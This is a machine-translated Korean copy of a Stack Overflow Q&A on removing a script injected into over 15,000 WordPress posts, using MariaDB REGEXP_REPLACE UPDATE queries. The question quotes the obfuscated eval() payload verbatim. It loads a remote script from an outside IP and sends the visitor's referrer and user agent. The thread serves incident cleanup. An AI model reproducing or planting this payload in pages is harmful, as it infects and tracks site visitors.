선택할 Maria DB 쿼리 및 테이블을 업데이트하여 원하지 않는 HTML 및 스크립트 태그를 제거합니다.
다음 코드가 클라이언트의 WordPress 데이터베이스의 여러 행에 삽입되었습니다.
<noindex>
<script id="wpinfo-pst1" type="text/javascript" rel="nofollow">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btssh|var|u0026u|referrer|yatyb||js|php'.split('|'),0,{}))
</script>
</noindex>
이 기능을 정상적으로 제거해야 합니다.<noindex></noindex>
태그와 그 안에 있는 모든 것을 테이블 행에서 확인할 수 있습니다.
이 쿼리는 영향을 받는 모든 행(총 15066개)을 성공적으로 선택합니다.
SELECT *
FROM 'wp_posts'
WHERE REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') LIKE '%noindex%'
비슷한 걸 쓰려고 하면UPDATE
query, 결과가 반환되지 않습니다.현재 문의 사항은 다음과 같습니다.
UPDATE 'wp_posts'
SET 'post_content' = REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '')
WHERE 'ID' = 1933;
세트 ID는 테스트 전용입니다.서버가 MariaDB 10.2를 실행하고 있습니다.어떤 제안이나 조언이라도 감사합니다.
REGEXP_REPLACE를 사용한 UPDATE 쿼리 성공
UPDATE
`wp_posts`
SET
`post_content` = REGEXP_REPLACE (`post_content`, '<noindex>[[:ascii:]]*</noindex>', '');
경고: 적용하기 전에 항상 데이터베이스를 백업합니다.UPDATE
.
설명서에 따르면:
REGEXP_REPLACE는 모든 정규 표현 패턴이 문자열 치환으로 대체된 문자열 제목을 반환합니다.오카렌스를 찾을 수 없는 경우 제목은 그대로 반환됩니다.
다음 작업을 수행할 수 있습니다.
UPDATE wp_posts
SET post_content = REGEXP_REPLACE (post_content, '<noindex>(.*)</noindex>', '');
사이에 줄바꿈이 있는 경우<noindex>
태그, 정규 표현을 수정해야 합니다.예를들면'<noindex>[[:ascii:]]*</noindex>'
자세한 내용은 정규 표현 개요를 참조하십시오.
비고:
1) 정당한 콘텐츠를 사용하는 경우<noindex>
tag, 위반 콘텐츠의 서브스트링을 추가하여 regexp를 변경합니다.
2) 공격 후 모든 것을 지우고 새로 설치한 후 데이터베이스와 파일을 공격 이전 버전으로 복원하는 것이 좋습니다.
3) 워드프레스 버전과 모든 플러그인이 최신 버전인지 확인합니다.
만약 내가 이걸 해야 한다면, 나는 그 물건을 버릴 것이다.wp_posts
테이블을 SQL 텍스트 파일로 변환한 다음 텍스트 편집기를 사용하여 문제 텍스트를 선택/바꾸고 SQL 파일을 다시 가져옵니다.
대부분의 텍스트 편집기에는 정규식이 가능한 선택/바꾸기 기능이 있습니다.그리고 결과를 쉽게 볼 수 있습니다.
테이블을 Import할 준비가 되면RENAME TABLE wp_posts TO wp_posts_old;
Import 합니다.
그 후에도 Word Press가 작동한다면 좋습니다.그렇지 않으면DROP TABLE wp_posts
그리고.RENAME TABLE wp_posts_old TO wp_posts
물건을 복원한다.
언급URL : https://stackoverflow.com/questions/56569795/maria-db-query-to-select-then-update-a-table-to-remove-unwanted-html-and-script
'itsource' 카테고리의 다른 글
SQL Chemy ORM을 사용한 벌크 인서트 (0) | 2022.10.05 |
---|---|
SQL - INNODB vs MyISAM vs 아리아 (0) | 2022.10.05 |
Larabel의 엔진 옵션 InnoDB로 인덱스 크기 제한을 피할 수 있는 이유는 무엇입니까? (0) | 2022.10.05 |
두 마커 사이의 서브스트링을 추출하려면 어떻게 해야 합니까? (0) | 2022.10.05 |
SQL 계산에서의 에일리어스 사용 (0) | 2022.10.05 |